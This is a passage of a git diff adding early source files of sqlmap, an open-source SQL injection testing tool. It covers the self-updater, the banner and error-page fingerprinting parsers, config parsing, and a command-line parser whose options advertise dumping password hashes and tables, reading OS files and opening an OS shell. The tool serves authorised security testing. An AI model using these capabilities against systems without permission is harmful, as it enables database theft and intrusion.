+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+import difflib
+import os
+import re
+import shutil
+import tempfile
+import urlparse
+import zipfile
+
+from distutils.dir_util import mkpath
+from xml.dom.minidom import Document
+
+from lib.core.common import readInput
+from lib.core.data import conf
+from lib.core.data import logger
+from lib.core.data import paths
+from lib.core.exception import sqlmapConnectionException
+from lib.core.exception import sqlmapFilePathException
+from lib.core.settings import MSSQL_VERSIONS_URL
+from lib.core.settings import SQLMAP_VERSION_URL
+from lib.core.settings import SQLMAP_SOURCE_URL
+from lib.core.settings import VERSION
+from lib.request.connect import Connect as Request
+
+
+def __updateMSSQLXML():
+ infoMsg = "updating Microsoft SQL Server XML versions file"
+ logger.info(infoMsg)
+
+ try:
+ mssqlVersionsHtmlString = Request.getPage(url=MSSQL_VERSIONS_URL, direct=True)
+ except sqlmapConnectionException, _:
+ __mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL)
+ __mssqlHostname = __mssqlPath[1]
+
+ warnMsg = "sqlmap was unable to connect to %s," % __mssqlHostname
+ warnMsg += " check your Internet connection and retry"
+ logger.warn(warnMsg)
+
+ return
+
+ releases = re.findall("class=\"BCC_DV_01DarkBlueTitle\">SQL Server ([\d\.]+) Builds", mssqlVersionsHtmlString, re.I | re.M)
+ releasesCount = len(releases)
+
+ # Create the minidom document
+ doc = Document()
+
+ # Create the base element
+ root = doc.createElement("root")
+ doc.appendChild(root)
+
+ for index in range(0, releasesCount):
+ release = releases[index]
+
+ # Skip Microsoft SQL Server 6.5 because the HTML
+ # table is in another format
+ if release == "6.5":
+ continue
+
+ # Create the base element
+ signatures = doc.createElement("signatures")
+ signatures.setAttribute("release", release)
+ root.appendChild(signatures)
+
+ startIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index])
+
+ if index == releasesCount - 1:
+ stopIdx = len(mssqlVersionsHtmlString)
+ else:
+ stopIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index + 1])
+
+ mssqlVersionsReleaseString = mssqlVersionsHtmlString[startIdx:stopIdx]
+ servicepackVersion = re.findall("[7\.0|2000|2005|2008]*(.*?) | [\r]*\n", mssqlVersionsReleaseString, re.I | re.M)
+
+ for servicePack, version in servicepackVersion:
+ if servicePack.startswith(" "):
+ servicePack = servicePack[1:]
+ if "/" in servicePack:
+ servicePack = servicePack[:servicePack.index("/")]
+ if "(" in servicePack:
+ servicePack = servicePack[:servicePack.index("(")]
+ if "-" in servicePack:
+ servicePack = servicePack[:servicePack.index("-")]
+ if "*" in servicePack:
+ servicePack = servicePack[:servicePack.index("*")]
+
+ servicePack = servicePack.replace("\t", " ")
+ servicePack = servicePack.replace(" ", " ")
+ servicePack = servicePack.replace("No SP", "0")
+ servicePack = servicePack.replace("RTM", "0")
+ servicePack = servicePack.replace("SP", "")
+ servicePack = servicePack.replace(" element
+ signature = doc.createElement("signature")
+ signatures.appendChild(signature)
+
+ # Create a element
+ versionElement = doc.createElement("version")
+ signature.appendChild(versionElement)
+
+ # Give the elemenet some text
+ versionText = doc.createTextNode(version)
+ versionElement.appendChild(versionText)
+
+ # Create a element
+ servicepackElement = doc.createElement("servicepack")
+ signature.appendChild(servicepackElement)
+
+ # Give the elemenet some text
+ servicepackText = doc.createTextNode(servicePack)
+ servicepackElement.appendChild(servicepackText)
+
+ # Get the XML old file content to a local variable
+ mssqlXml = open(paths.MSSQL_XML, "r")
+ oldMssqlXml = mssqlXml.read()
+ oldMssqlXmlSignatures = oldMssqlXml.count("")
+ oldMssqlXmlList = oldMssqlXml.splitlines(1)
+ mssqlXml.close()
+
+ # Backup the XML old file
+ shutil.copy(paths.MSSQL_XML, "%s.bak" % paths.MSSQL_XML)
+
+ # Save our newly created XML to the signatures file
+ mssqlXml = open(paths.MSSQL_XML, "w")
+ doc.writexml(writer=mssqlXml, addindent=" ", newl="\n")
+ mssqlXml.close()
+
+ # Get the XML new file content to a local variable
+ mssqlXml = open(paths.MSSQL_XML, "r")
+ newMssqlXml = mssqlXml.read()
+ newMssqlXmlSignatures = newMssqlXml.count("")
+ newMssqlXmlList = newMssqlXml.splitlines(1)
+ mssqlXml.close()
+
+ # If the new XML versions file differs from the old one it probably
+ # means that we have got new Microsoft SQL Server versions
+ if oldMssqlXmlSignatures != newMssqlXmlSignatures:
+ infoMsg = "Microsoft SQL Server XML versions file updated successfully. "
+
+ if oldMssqlXmlSignatures < newMssqlXmlSignatures:
+ infoMsg += "%d " % (newMssqlXmlSignatures - oldMssqlXmlSignatures)
+ infoMsg += "new signatures added since the last update"
+
+ # NOTE: This should never happen, in this rare case it might
+ # be that the Microsoft SQL Server versions database
+ # (MSSQL_VERSIONS_URL) changed its structure
+ else:
+ infoMsg += "%d " % (oldMssqlXmlSignatures - newMssqlXmlSignatures)
+ infoMsg += "signatures removed since the last update"
+
+ logger.info(infoMsg)
+
+ message = "Do you want to see the differences? [Y/n] "
+ test = readInput(message, default="Y")
+
+ if not test or test[0] in ("y", "Y"):
+ infoMsg = "Differences:"
+ logger.info(infoMsg)
+
+ # Compare the old XML file with the new one
+ differ = difflib.Differ()
+ differences = list(differ.compare(oldMssqlXmlList, newMssqlXmlList))
+
+ # Show only the different lines
+ for line in differences:
+ if line.startswith("-") or line.startswith("+") or line.startswith("?"):
+ print line.strip("\n")
+ else:
+ infoMsg = "no new Microsoft SQL Server versions since the "
+ infoMsg += "last update"
+ logger.info(infoMsg)
+
+
+def __createFile(pathname, data):
+ mkpath(os.path.dirname(pathname))
+ fileFP = open(pathname, "wb")
+ fileFP.write(data)
+ fileFP.close()
+
+
+def __extractZipFile(zipFile):
+ # Check if the saved binary file is really a ZIP file
+ if zipfile.is_zipfile(zipFile):
+ sqlmapZipFile = zipfile.ZipFile(zipFile)
+ else:
+ raise sqlmapFilePathException, "the downloaded file does not seem to be a zipfile"
+
+ # Create a temporary directory
+ tempDir = tempfile.mkdtemp("", "sqlmap_latest-")
+
+ # Extract each file within the ZIP file in the temporary directory
+ for info in sqlmapZipFile.infolist():
+ if info.filename[-1] != '/':
+ data = sqlmapZipFile.read(info.filename)
+ __createFile(os.path.join(tempDir, info.filename), data)
+
+ return tempDir
+
+
+def __updateSqlmap():
+ infoMsg = "updating sqlmap"
+ logger.info(infoMsg)
+
+ debugMsg = "checking if a new version is available"
+ logger.debug(debugMsg)
+
+ try:
+ sqlmapNewestVersion = Request.getPage(url=SQLMAP_VERSION_URL, direct=True)
+ except sqlmapConnectionException, _:
+ __sqlmapPath = urlparse.urlsplit(SQLMAP_VERSION_URL)
+ __sqlmapHostname = __sqlmapPath[1]
+
+ warnMsg = "sqlmap was unable to connect to %s" % __sqlmapHostname
+ warnMsg += ", check your Internet connection and retry"
+ logger.warn(warnMsg)
+
+ return
+
+ sqlmapNewestVersion = str(sqlmapNewestVersion).replace("\n", "")
+
+ if not re.search("^([\w\.\-]+)$", sqlmapNewestVersion):
+ errMsg = "sqlmap version is in a wrong syntax"
+ logger.errMsg(errMsg)
+
+ return
+
+ if sqlmapNewestVersion == VERSION:
+ infoMsg = "you are already running sqlmap latest stable version"
+ logger.info(infoMsg)
+
+ return
+ else:
+ infoMsg = "sqlmap latest stable version is %s. " % sqlmapNewestVersion
+ infoMsg += "Going to download it from the SourceForge File List page"
+ logger.info(infoMsg)
+
+ sqlmapBinaryStringUrl = SQLMAP_SOURCE_URL % sqlmapNewestVersion
+
+ try:
+ sqlmapBinaryString = Request.getPage(url=sqlmapBinaryStringUrl, direct=True)
+ except sqlmapConnectionException, _:
+ __sqlmapPath = urlparse.urlsplit(sqlmapBinaryStringUrl)
+ __sqlmapHostname = __sqlmapPath[1]
+
+ warnMsg = "sqlmap was unable to connect to %s" % __sqlmapHostname
+ warnMsg += ", check your Internet connection and retry"
+ logger.warn(warnMsg)
+
+ return
+
+ # Save the sqlmap compressed source to a ZIP file in a temporary
+ # directory and extract it
+ zipFile = os.path.join(tempfile.gettempdir(), "sqlmap-%s.zip" % sqlmapNewestVersion)
+ __createFile(zipFile, sqlmapBinaryString)
+ tempDir = __extractZipFile(zipFile)
+
+ # For each file and directory in the temporary directory copy it
+ # to the sqlmap root path and set right permission
+ # TODO: remove files not needed anymore and all pyc within the
+ # sqlmap root path in the end
+ for root, dirs, files in os.walk(os.path.join(tempDir, "sqlmap")):
+ # Just for development release
+ if '.svn' in dirs:
+ dirs.remove('.svn')
+
+ cleanRoot = root.replace(tempDir, "")
+ cleanRoot = cleanRoot.replace("%ssqlmap" % os.sep, "")
+
+ if cleanRoot.startswith("/"):
+ cleanRoot = cleanRoot[1:]
+
+ for f in files:
+ # Just for development release
+ if f.endswith(".pyc") or f.endswith(".pyo"):
+ continue
+
+ srcFile = os.path.join(root, f)
+ dstFile = os.path.join(paths.SQLMAP_ROOT_PATH, os.path.join(cleanRoot, f))
+
+ if os.path.exists(dstFile):
+ debugMsg = "replacing file '%s'" % dstFile
+ else:
+ debugMsg = "creating new file '%s'" % dstFile
+
+ logger.debug(debugMsg)
+
+ if f == "sqlmap.conf" and os.path.exists(dstFile):
+ infoMsg = "backupping configuration file to '%s.bak'" % dstFile
+ logger.info(infoMsg)
+ shutil.move(dstFile, "%s.bak" % dstFile)
+
+ mkpath(os.path.dirname(dstFile))
+ shutil.copy(srcFile, dstFile)
+
+ if f.endswith(".py"):
+ os.chmod(dstFile, 0755)
+
+ infoMsg = "sqlmap updated successfully"
+ logger.info(infoMsg)
+
+
+def update():
+ if not conf.updateAll:
+ return
+
+ __updateSqlmap()
+ __updateMSSQLXML()
diff --git a/lib/parse/__init__.py b/lib/parse/__init__.py
new file mode 100644
index 000000000..e8fee9d67
--- /dev/null
+++ b/lib/parse/__init__.py
@@ -0,0 +1,25 @@
+#!/usr/bin/env python
+
+"""
+$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+pass
diff --git a/lib/parse/banner.py b/lib/parse/banner.py
new file mode 100644
index 000000000..fec8ec183
--- /dev/null
+++ b/lib/parse/banner.py
@@ -0,0 +1,104 @@
+#!/usr/bin/env python
+
+"""
+$Id: banner.py 214 2008-07-14 14:17:06Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+import re
+
+from xml.sax import parse
+from xml.sax.handler import ContentHandler
+
+from lib.core.common import checkFile
+from lib.core.common import sanitizeStr
+
+
+class bannerHandler(ContentHandler):
+ """
+ This class defines methods to parse and extract information from
+ the given DBMS banner based upon the data in XML file
+ """
+
+ def __init__(self, banner):
+ self.__banner = sanitizeStr(banner)
+ self.release = None
+ self.version = None
+ self.servicePack = None
+ self.__inVersion = False
+ self.__inServicePack = False
+ self.__release = None
+ self.__version = ""
+ self.__servicePack = ""
+
+
+ def startElement(self, name, attrs):
+ if name == "signatures":
+ self.__release = sanitizeStr(attrs.get("release"))
+
+ elif name == "version":
+ self.__inVersion = True
+
+ elif name == "servicepack":
+ self.__inServicePack = True
+
+
+ def characters(self, data):
+ if self.__inVersion:
+ self.__version += sanitizeStr(data)
+ elif self.__inServicePack:
+ self.__servicePack += sanitizeStr(data)
+
+
+ def endElement(self, name):
+ if name == "signature":
+ if re.search(" %s[\.\ ]+" % self.__version, self.__banner):
+ self.release = self.__release
+ self.version = self.__version
+ self.servicePack = self.__servicePack
+
+ self.__version = ""
+ self.__servicePack = ""
+
+
+ elif name == "version":
+ self.__inVersion = False
+ self.__version = self.__version.replace(" ", "")
+
+ elif name == "servicepack":
+ self.__inServicePack = False
+ self.__servicePack = self.__servicePack.replace(" ", "")
+
+
+
+def bannerParser(banner, xmlfile):
+ """
+ This function calls a class to extract information from the given
+ DBMS banner based upon the data in XML file
+ """
+
+ checkFile(xmlfile)
+ banner = sanitizeStr(banner)
+ handler = bannerHandler(banner)
+ parse(xmlfile, handler)
+
+ return handler.release, handler.version, handler.servicePack
diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py
new file mode 100644
index 000000000..8dd642e9a
--- /dev/null
+++ b/lib/parse/cmdline.py
@@ -0,0 +1,268 @@
+#!/usr/bin/env python
+
+"""
+$Id: cmdline.py 368 2008-09-30 00:09:59Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+from optparse import OptionError
+from optparse import OptionGroup
+from optparse import OptionParser
+
+from lib.core.data import logger
+from lib.core.settings import VERSION_STRING
+
+
+def cmdLineParser():
+ """
+ This function parses the command line parameters and arguments
+ """
+
+ usage = "sqlmap.py [options] {-u | -g | -c }"
+ parser = OptionParser(usage=usage, version=VERSION_STRING)
+
+ try:
+ # Request options
+ request = OptionGroup(parser, "Request", "These options have to "
+ "be specified to set the target url, HTTP "
+ "method, how to connect to the target url "
+ "or Google dorking results in general.")
+
+ request.add_option("-u", "--url", dest="url", help="Target url")
+
+ request.add_option("-g", dest="googleDork",
+ help="Process Google dork results as target urls")
+
+ request.add_option("-p", dest="testParameter",
+ help="Testable parameter(s)")
+
+ request.add_option("--method", dest="method", default="GET",
+ help="HTTP method, GET or POST (default: GET)")
+
+ request.add_option("--data", dest="data",
+ help="Data string to be sent through POST")
+
+ request.add_option("--cookie", dest="cookie",
+ help="HTTP Cookie header")
+
+ request.add_option("--referer", dest="referer",
+ help="HTTP Referer header")
+
+ request.add_option("--user-agent", dest="agent",
+ help="HTTP User-Agent header")
+
+ request.add_option("-a", dest="userAgentsFile",
+ help="Load a random HTTP User-Agent "
+ "header from file")
+
+ request.add_option("--auth-type", dest="aType",
+ help="HTTP Authentication type, value: "
+ "Basic or Digest")
+
+ request.add_option("--auth-cred", dest="aCred",
+ help="HTTP Authentication credentials, value: "
+ "name:password")
+
+ request.add_option("--proxy", dest="proxy",
+ help="Use a HTTP proxy to connect to the target url")
+
+ request.add_option("--threads", dest="threads", type="int",
+ help="Maximum number of concurrent HTTP "
+ "requests (default 1)")
+
+ # Injection options
+ injection = OptionGroup(parser, "Injection")
+
+ injection.add_option("--string", dest="string",
+ help="String to match in page when the "
+ "query is valid")
+
+ injection.add_option("--dbms", dest="dbms",
+ help="Force back-end DBMS to this value")
+
+ # Fingerprint options
+ fingerprint = OptionGroup(parser, "Fingerprint")
+
+ fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp",
+ action="store_true",
+ help="Perform an extensive database fingerprint")
+
+ # Enumeration options
+ enumeration = OptionGroup(parser, "Enumeration", "These options can "
+ "be used to enumerate the back-end database "
+ "management system information, structure "
+ "and data contained in the tables. Moreover "
+ "you can run your own SQL SELECT queries.")
+
+ enumeration.add_option("-b", "--banner", dest="getBanner",
+ action="store_true", help="Retrieve DBMS banner")
+
+ enumeration.add_option("--current-user", dest="getCurrentUser",
+ action="store_true",
+ help="Retrieve DBMS current user")
+
+ enumeration.add_option("--current-db", dest="getCurrentDb",
+ action="store_true",
+ help="Retrieve DBMS current database")
+
+ enumeration.add_option("--users", dest="getUsers", action="store_true",
+ help="Enumerate DBMS users")
+
+ enumeration.add_option("--passwords", dest="getPasswordHashes",
+ action="store_true",
+ help="Enumerate DBMS users password hashes (opt: -U)")
+
+ enumeration.add_option("--privileges", dest="getPrivileges",
+ action="store_true",
+ help="Enumerate DBMS users privileges (opt: -U)")
+
+ enumeration.add_option("--dbs", dest="getDbs", action="store_true",
+ help="Enumerate DBMS databases")
+
+ enumeration.add_option("--tables", dest="getTables", action="store_true",
+ help="Enumerate DBMS database tables (opt: -D)")
+
+ enumeration.add_option("--columns", dest="getColumns", action="store_true",
+ help="Enumerate DBMS database table columns "
+ "(req: -T, -D)")
+
+ enumeration.add_option("--dump", dest="dumpTable", action="store_true",
+ help="Dump DBMS database table entries "
+ "(req: -T, -D opt: -C)")
+
+ enumeration.add_option("--dump-all", dest="dumpAll", action="store_true",
+ help="Dump all DBMS databases tables entries")
+
+ enumeration.add_option("-D", dest="db",
+ help="DBMS database to enumerate")
+
+ enumeration.add_option("-T", dest="tbl",
+ help="DBMS database table to enumerate")
+
+ enumeration.add_option("-C", dest="col",
+ help="DBMS database table column to enumerate")
+
+ enumeration.add_option("-U", dest="user",
+ help="DBMS user to enumerate")
+
+ enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs",
+ action="store_true",
+ help="Exclude DBMS system databases when "
+ "enumerating tables")
+
+ enumeration.add_option("--start", dest="limitStart", type="int",
+ help="First table entry to dump")
+
+ enumeration.add_option("--stop", dest="limitStop", type="int",
+ help="Last table entry to dump")
+
+ enumeration.add_option("--sql-query", dest="query",
+ help="SQL SELECT query to be executed")
+
+ enumeration.add_option("--sql-shell", dest="sqlShell",
+ action="store_true",
+ help="Prompt for an interactive SQL shell")
+
+ # File system options
+ filesystem = OptionGroup(parser, "File system access", "These options "
+ "can be used to access the back-end database "
+ "management system file system taking "
+ "advantage of native DBMS functions or "
+ "specific DBMS design weaknesses.")
+
+ filesystem.add_option("--read-file", dest="rFile",
+ help="Read a specific OS file content (only on MySQL)")
+
+ filesystem.add_option("--write-file", dest="wFile",
+ help="Write to a specific OS file (not yet available)")
+
+ # Takeover options
+ takeover = OptionGroup(parser, "Operating system access", "This "
+ "option can be used to access the back-end "
+ "database management system operating "
+ "system taking advantage of specific DBMS "
+ "design weaknesses.")
+
+ takeover.add_option("--os-shell", dest="osShell", action="store_true",
+ help="Prompt for an interactive OS shell "
+ "(only on PHP/MySQL environment with a "
+ "writable directory within the web "
+ "server document root for the moment)")
+
+ # Miscellaneous options
+ miscellaneous = OptionGroup(parser, "Miscellaneous")
+
+ miscellaneous.add_option("--union-test", dest="unionTest",
+ action="store_true",
+ help="Test for UNION SELECT (inband) SQL injection")
+
+ miscellaneous.add_option("--union-use", dest="unionUse",
+ action="store_true",
+ help="Use the UNION SELECT (inband) SQL injection "
+ "to retrieve the queries output. No "
+ "need to go blind")
+
+ miscellaneous.add_option("--eta", dest="eta", action="store_true",
+ help="Retrieve each query output length and "
+ "calculate the estimated time of arrival "
+ "in real time")
+
+ miscellaneous.add_option("-v", dest="verbose", type="int",
+ help="Verbosity level: 0-5 (default 0)")
+
+ miscellaneous.add_option("--update", dest="updateAll", action="store_true",
+ help="Update sqlmap to the latest stable version")
+
+ miscellaneous.add_option("-s", dest="sessionFile",
+ help="Save and resume all data retrieved "
+ "on a session file")
+
+ miscellaneous.add_option("-c", dest="configFile",
+ help="Load options from a configuration INI file")
+
+ miscellaneous.add_option("--save", dest="saveCmdline", action="store_true",
+ help="Save options on a configuration INI file")
+
+ miscellaneous.add_option("--batch", dest="batch", action="store_true",
+ help="Never ask for user input, use the default behaviour")
+
+ parser.add_option_group(request)
+ parser.add_option_group(injection)
+ parser.add_option_group(fingerprint)
+ parser.add_option_group(enumeration)
+ parser.add_option_group(filesystem)
+ parser.add_option_group(takeover)
+ parser.add_option_group(miscellaneous)
+
+ (args, _) = parser.parse_args()
+
+ if not args.url and not args.googleDork and not args.configFile and not args.updateAll:
+ errMsg = "missing a mandatory parameter ('-u', '-g', '-c' or '--update'), "
+ errMsg += "-h for help"
+ parser.error(errMsg)
+
+ return args
+ except (OptionError, TypeError), e:
+ parser.error(e)
+
+ debugMsg = "parsing command line"
+ logger.debug(debugMsg)
diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py
new file mode 100644
index 000000000..5bb0ba21a
--- /dev/null
+++ b/lib/parse/configfile.py
@@ -0,0 +1,101 @@
+#!/usr/bin/env python
+
+"""
+$Id: configfile.py 261 2008-07-21 11:33:49Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+from ConfigParser import NoSectionError
+from ConfigParser import SafeConfigParser
+
+from lib.core.common import checkFile
+from lib.core.data import conf
+from lib.core.data import logger
+from lib.core.exception import sqlmapMissingMandatoryOptionException
+from lib.core.optiondict import optDict
+
+
+config = None
+
+
+def configFileProxy(section, option, boolean=False, integer=False):
+ """
+ Parse configuration file and save settings into the configuration
+ advanced dictionary.
+ """
+
+ global config
+
+ if config.has_option(section, option):
+ if boolean:
+ value = config.getboolean(section, option)
+ elif integer:
+ value = config.getint(section, option)
+ else:
+ value = config.get(section, option)
+
+ if value:
+ conf[option] = value
+ else:
+ conf[option] = None
+ else:
+ debugMsg = "missing requested option '%s' (section " % option
+ debugMsg += "'%s') into the configuration file, " % section
+ debugMsg += "ignoring. Skipping to next."
+ logger.debug(debugMsg)
+
+
+def configFileParser(configFile):
+ """
+ Parse configuration file and save settings into the configuration
+ advanced dictionary.
+ """
+
+ global config
+
+ debugMsg = "parsing configuration file"
+ logger.debug(debugMsg)
+
+ checkFile(configFile)
+ config = SafeConfigParser()
+ config.read(configFile)
+
+ if not config.has_section("Request"):
+ raise NoSectionError, "Request in the configuration file is mandatory"
+
+ if not config.has_option("Request", "url") and not config.has_option("Request", "googleDork"):
+ errMsg = "missing a mandatory option in the configuration "
+ errMsg += "file (url or googleDork)"
+ raise sqlmapMissingMandatoryOptionException, errMsg
+
+
+ for family, optionData in optDict.items():
+ for option, data in optionData.items():
+ boolean = False
+ integer = False
+
+ if data == "boolean":
+ boolean = True
+ elif data == "integer":
+ integer = True
+
+ configFileProxy(family, option, boolean, integer)
diff --git a/lib/parse/html.py b/lib/parse/html.py
new file mode 100644
index 000000000..77e33dbd4
--- /dev/null
+++ b/lib/parse/html.py
@@ -0,0 +1,75 @@
+#!/usr/bin/env python
+
+"""
+$Id: html.py 286 2008-07-25 23:09:48Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+import re
+
+from xml.sax import parse
+from xml.sax.handler import ContentHandler
+
+from lib.core.common import checkFile
+from lib.core.common import sanitizeStr
+
+
+class htmlHandler(ContentHandler):
+ """
+ This class defines methods to parse the input HTML page to
+ fingerprint the back-end database management system
+ """
+
+ def __init__(self, page):
+ self.__dbms = None
+ self.__page = page
+ self.__regexp = None
+ self.__match = None
+
+ self.dbms = None
+
+
+ def startElement(self, name, attrs):
+ if name == "dbms":
+ self.__dbms = attrs.get("value")
+
+ if name == "error":
+ self.__regexp = attrs.get("regexp")
+ self.__match = re.search(self.__regexp, self.__page, re.I)
+
+ if self.__match:
+ self.dbms = self.__dbms
+ self.__match = None
+
+
+def htmlParser(page, xmlfile):
+ """
+ This function calls a class that parses the input HTML page to
+ fingerprint the back-end database management system
+ """
+
+ checkFile(xmlfile)
+ page = sanitizeStr(page)
+ handler = htmlHandler(page)
+ parse(xmlfile, handler)
+
+ return handler.dbms
diff --git a/lib/parse/queriesfile.py b/lib/parse/queriesfile.py
new file mode 100644
index 000000000..695beb066
--- /dev/null
+++ b/lib/parse/queriesfile.py
@@ -0,0 +1,203 @@
+#!/usr/bin/env python
+
+"""
+$Id: queriesfile.py 343 2008-08-30 01:12:18Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+from xml.sax import parse
+from xml.sax.handler import ContentHandler
+
+from lib.core.common import checkFile
+from lib.core.common import sanitizeStr
+from lib.core.data import logger
+from lib.core.data import queries
+from lib.core.data import paths
+from lib.core.datatype import advancedDict
+
+
+class queriesHandler(ContentHandler):
+ """
+ This class defines methods to parse the default DBMS queries
+ from an XML file
+ """
+
+ def __init__(self):
+ self.__dbms = ''
+ self.__queries = advancedDict()
+
+
+ def startElement(self, name, attrs):
+ if name == "dbms":
+ data = sanitizeStr(attrs.get("value"))
+ self.__dbms = data
+
+ elif name == "cast":
+ data = sanitizeStr(attrs.get("query"))
+ self.__queries.cast = data
+
+ elif name == "length":
+ data = sanitizeStr(attrs.get("query"))
+ self.__queries.length = data
+
+ elif name == "isnull":
+ data = sanitizeStr(attrs.get("query"))
+ self.__queries.isnull = data
+
+ elif name == "delimiter":
+ data = sanitizeStr(attrs.get("query"))
+ self.__queries.delimiter = data
+
+ elif name == "limit":
+ data = sanitizeStr(attrs.get("query"))
+ self.__queries.limit = data
+
+ elif name == "limitregexp":
+ data = sanitizeStr(attrs.get("query"))
+ self.__queries.limitregexp = data
+
+ elif name == "limitgroupstart":
+ data = sanitizeStr(attrs.get("query"))
+ self.__queries.limitgroupstart = data
+
+ elif name == "limitgroupstop":
+ data = sanitizeStr(attrs.get("query"))
+ self.__queries.limitgroupstop = data
+
+ elif name == "limitstring":
+ data = sanitizeStr(attrs.get("query"))
+ self.__queries.limitstring = data
+
+ elif name == "order":
+ data = sanitizeStr(attrs.get("query"))
+ self.__queries.order = data
+
+ elif name == "count":
+ data = sanitizeStr(attrs.get("query"))
+ self.__queries.count = data
+
+ elif name == "substring":
+ data = sanitizeStr(attrs.get("query"))
+ self.__queries.substring = data
+
+ elif name == "inference":
+ data = sanitizeStr(attrs.get("query"))
+ self.__queries.inference = data
+
+ elif name == "banner":
+ data = sanitizeStr(attrs.get("query"))
+ self.__queries.banner = data
+
+ elif name == "current_user":
+ data = sanitizeStr(attrs.get("query"))
+ self.__queries.currentUser = data
+
+ elif name == "current_db":
+ data = sanitizeStr(attrs.get("query"))
+ self.__queries.currentDb = data
+
+ elif name == "inband":
+ self.__inband = sanitizeStr(attrs.get("query"))
+ self.__inband2 = sanitizeStr(attrs.get("query2"))
+ self.__condition = sanitizeStr(attrs.get("condition"))
+ self.__condition2 = sanitizeStr(attrs.get("condition2"))
+
+ elif name == "blind":
+ self.__blind = sanitizeStr(attrs.get("query"))
+ self.__blind2 = sanitizeStr(attrs.get("query2"))
+ self.__count = sanitizeStr(attrs.get("count"))
+ self.__count2 = sanitizeStr(attrs.get("count2"))
+
+
+ def endElement(self, name):
+ if name == "dbms":
+ queries[self.__dbms] = self.__queries
+ self.__queries = advancedDict()
+
+ elif name == "users":
+ self.__users = {}
+ self.__users["inband"] = { "query": self.__inband, "query2": self.__inband2 }
+ self.__users["blind"] = { "query": self.__blind, "query2": self.__blind2,
+ "count": self.__count, "count2": self.__count2 }
+
+ self.__queries.users = self.__users
+
+ elif name == "passwords":
+ self.__passwords = {}
+ self.__passwords["inband"] = { "query": self.__inband, "query2": self.__inband2, "condition": self.__condition }
+ self.__passwords["blind"] = { "query": self.__blind, "query2": self.__blind2,
+ "count": self.__count, "count2": self.__count2 }
+
+ self.__queries.passwords = self.__passwords
+
+ elif name == "privileges":
+ self.__privileges = {}
